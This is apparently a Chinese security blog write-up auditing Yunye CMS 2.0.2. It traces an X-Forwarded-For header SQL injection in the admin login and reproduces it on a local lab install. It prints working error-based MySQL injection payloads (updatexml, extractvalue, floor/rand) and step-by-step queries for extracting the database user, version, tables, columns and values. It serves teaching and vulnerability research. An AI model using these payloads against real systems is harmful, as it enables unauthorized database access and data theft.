当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
云业CMS 2.0.2 代码审计【第一篇】
0x01 搭建环境
Phpstudy+Nginx+Mysql数据库搭建
云业cms V2.0.2 源码
后台账号:admin1
后台密码:123456/
此时安装好了
0x02 审计前言
我是一名新手,代码审计也审计的少,之前学习代码审计的时候,师傅们都说,代码审计大概可以划分为四种吧,我也不太清楚,说错的地方,请各位见谅,别揍我。
此次,我使用的是追踪数据流的方式。
大概分为四类:
第一类:追踪数据流
第二类:追踪危险函数
第三类:追踪功能点审计
第四类:大佬都喜欢全局阅读代码审计(可惜我不是,呜呜呜... ...)
厦门慢雾科技的余弦大佬曾经说过:"Web安全重点就三个词---"输入","输出","数据流" "。
首先,我将源码放到seay 源代码审计工具里进行查看
打开云业cms 后台,是如下图这样的:
其实,我们拿到源码的第一件事,就是去简单查看一下网站目录结构,可以发现在实际环境中,我们遇到的文件名命名方式,看一眼大概基本能猜出来它是干嘛的
比如,我们的后台登录页面是admin.php路径对吧?那我们去看看根目录下的index.php和admin.php 文件有啥内容
index.php 代码解释
2和3行都是关闭报错报告
4行判断是否存在confing.php和install.lock文件,然后调用header之前已存在输出./install
5和6行是读取对应的文件
7行报错的调试
下面是主页admin.php的就不在解释了
根目录下貌似没啥东西, 只是判断是否安装了程序如果没安装就去先安装
我们访问admin.php 后台,开启Fidder 抓包并刷新当前admin后台管理登录页面,抓取流量数据包,发现有login参数
根据流量包的数据,我们追踪一下看看,出现两个路径
/core/func/basic.fun.php
/core/func/core.fun.php
/core/func/core.fun.php 定位的内容,没啥
继续往下看
/core/func/basic.fun.php
打开这个文件时,眼睛一亮,发现这里写着admin.php 后台登录入口调用的主要文件,从头到尾打开文件,一个个查函数一个个去看,一个个去全局搜搜调用的函数模块有哪些,追踪它的数据源
经过一番查找,在获取客户端IP调用的getip函数这里寻到突破点
全局搜索看一哈有哪些文件调用了getip() 函数,全局正则匹配搜索哈
定位私有的adminlogin 函数的某,CheckLoginTimes 调用这个变量
当前文件查找一下CheckLoginTimes 函数
第一行看到是查询了数据库(此处没有进行任何的过滤机制... ...),下面那一行是一个登录验证的私有函数,正确的话进行一个跳转的登录框页面提示,然后再登录到后台或返回登录页面继续输入账号密码,并查询数据库里的ip,并判断输入错误5次后,三小时后再登录
这不就是明摆着的HTTP 头注入嘛(哭笑不得... ...)
0x03 复现
打开抓包工具,我这里用的BurpSuite ,当然你用Fidder等其它抓包工具也是可以的
抓包开始
此时我抓包访问后台页面,发现页面访问是500
什么情况?最后发现,是我开了代理(小飞机)导致的,关掉(小飞机)的代理即可
账号和密码随便输入,验证码正确输入,开启抓包并点击【登录】按钮
开始验证,先随机对带IP的地段探测一下
各自加上单引号试试,看看Raw发现返回数据包是否报错,发现无任何报错
你肯定会很奇怪,我为什么要这里?记录客户端真实IP的,不是X-Forwarded-For 定义的嘛?
嗯... ,对的,我就是随手测了一哈,并没啥卵用
X-Forwarded-For的定义:
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。
标准格式如下:
X-Forwarded-For: client1, proxy1, proxy2
从标准格式可以看出,X-Forwarded-For头信息可以有多个,中间用逗号分隔,第一项为真实的客户端ip,剩下的就是曾经经过的代理或负载均衡的ip地址,经过几个就会出现几个。
当用户请求经过CDN后到达Nginx负载均衡服务器时,其X-Forwarded-For头信息应该为 客户端IP,CDN的IP 但实际情况并非如此,一般情况下CDN服务商为了自身安全考虑会将这个信息做些改动,只保留客户端IP。我们可以通过php程序获得X-Forwarded-For信息或者通过Nginx的add header方法来设置返回头来查看。
下面来分析请求头到达Nginx负载均衡服务器的情况;在默认情况下,Nginx并不会对 X-Forwarded-For头做任何的处理,除非用户使用proxy_set_header
参数设置:
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
$proxy_add_x_forwarded_for变量包含客户端请求头中的"X-Forwarded-For",与 $remote_addr用逗号分开,如果没有"X-Forwarded-For" 请求头,则 $proxy_add_x_forwarded_for等于$remote_addr。
$remote_addr变量的值是客户端的IP
当Nginx设置X-Forwarded-For等于$proxy_add_x_forwarded_for后会有两种情况发生
1、如果从CDN过来的请求没有设置X-Forwarded-For头(通常这种事情不会发生),而到了我们这里Nginx设置将其设置为$proxy_add_x_forwarded_for的话,X-Forwarded-For的信息应该为CDN的IP,因为相对于Nginx负载均衡来说客户端即为CDN,这样的话,后端的web程序时死活也获得不了真实用户的IP的。
2、CDN设置了X-Forwarded-For,我们这里又设置了一次,且值为$proxy_add_x_forwarded_for的话,那么X-Forwarded-For的内容变成 ”客户端IP,Nginx负载均衡服务器IP“如果是这种情况的话,那后端的程序通过X-Forwarded-For获得客户端IP,则取逗号分隔的第一项即可。
加上X-Forwarded-For 参数后,只加ip,不增加任何报错信息,再Go一下,无任何报错
什么是SQL注入 ?
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击 。
Web 程序三层架构
三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:
• 界面层(User Interface layer)
• 业务逻辑层(Business Logic Layer)
• 数据访问层(Data access layer)
区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。 由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:
• 表示层
• 业务逻辑层(又称领域层)
• 数据访问层(又称存储层)
例如,用户访问yqxy20.blog.csdn.net主页进行了如下过程:
• 在 Web 浏览器中输入 yqxy20.blog.csdn.net 连接到CSDN的服务器。
• 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。
• 脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。
• 数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。
• 业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。
• 表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。
在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系。
判断sql注入点
1. 单引号判断
http://yqxy20.blog.csdn.net/xxx.asp?id=1' 如果出现错误提示,则该网站可能就存在注入漏洞
2. and判断
http://yqxy20.blog.csdn.net/xxx.asp?id=10'and 1=1这个条件永远都是真的,所以当然返回是正常页
http://yqxy20.blog.csdn.net/xxx.asp?id=10'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。
3. Or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
http://yqxy20.blog.csdn.net/xxx.asp?id=1'or 1=1
http://yqxy20.blog.csdn.net/xxx.asp?id=1'or 1=2
4. xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点)
http://yqxy20.blog.csdn.net/xxx.asp?id=1'xor 1=1
http://yqxy20.blog.csdn.net/xxx.asp?id=1'xor 1=2
5. 加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞)
http://yqxy20.blog.csdn.net/xxx.asp?id=2-0
http://yqxy20.blog.csdn.net/xxx.asp?id=2-1
http://yqxy20.blog.csdn.net/xxx.asp?id=2+1
6. 输入框判断
可以使用特殊符号去判断
#@!$/ ...
加单引号看看,报错呢?
看到报错了,我们丢sqlmap,跑一哈试试
抓包,将包保存下来,有一点需要注意的是,我们在此处构造的X-Forwarded-For值为*,经过测试构造为127.0.0.1利用sqlmap跑的时候不会去识别此地方,这里利用*代替后成功执行
cmd 打开,开始跑
最后,乐色,mmp,没给我跑出来... ...可能是我sqlmap有问题,还是啥的,哈哈,超尴尬
没啥卵用,算了,一个个尝试好了,最后用报错注入实现
报错注入补充知识
updatexml(1,concat(0x7e,database()),0)
这里我们对函数进行处理加入concat函数意思是将传进去的参数组合成一个字符串打印出来,concat也可以执行表达式也就是将 0x7e和version()结果组合成一个字符串打印出来。不用group_concat的原因是显示位用长限制,故用concat和limit逐个显示
username='or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() LIMIT 4,1),0x7e),1) or'&password=12&sex=&phonenum=&email=&add=&submit=submit
同样,这里也可以用extractvalue()函数
extractvalue()函数,从目标xml中返回包含所查询值的字符串
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误
用法其实跟updatexml一样
例如:用字符型注入测试一下
xxx' and extractvalue(1,concat(0x7e,database())) #
基于floor()
floor是mysql的一个取整函数
payload
xxx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2)) x from information_schema.tables group by x) a)#
此处我用的是updatexml 报错函数
updatexml()
续后面所说的,加个单引号发现报错,一番尝试--+ 、#等闭合符合,成功闭合
单引号闭合试试,发现一堆瞎几把的乱码
# 闭合试试,OJBK ,返回的数据包里面成功展示出错误的信息
接下来就是爆:
• 爆数据库版本信息
• 爆当前用户名
• 爆当前数据库名
• 爆表名
• 爆列名
• 爆字段名
• 爆字段值
爆数据库版本信息
爆用户名
爆当前数据库名
爆数据库表名的时候,我发现无法爆破数据库的表名... ...
最后发现是我当前账号对数据库的information_schema 无读取权限,这种情况下只能去硬猜,不搞了不搞了,本章就到此结束,菜文一篇,请见谅。
后续的不写了,大致步骤如下
1. 爆数据库用户
and updatexml(1,concat(0x7e,(select user()),0x7e),1)# # 爆数据库用户
2. 爆数据库版本
and updatexml(1,concat(0x7e,(select version()),0x7e),1)# # 爆数据库版本
3. 爆数据库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)# # 爆数据库名
4. 数据库表名
and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=数据库16进制值 limit 0,1),0x7e),1)#
#需有对information_schema库有读取权限
and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)#
#无information_schema库读取权限,需同时猜解列名和表名(较难)
5. 爆字段名
and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=表名16进制值 limit 1,1),0x7e),1)-- #需有对information_schema库有读取权限
6. 爆字段值
and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)
虽然我们生活在阴沟里,但依然有人仰望星空!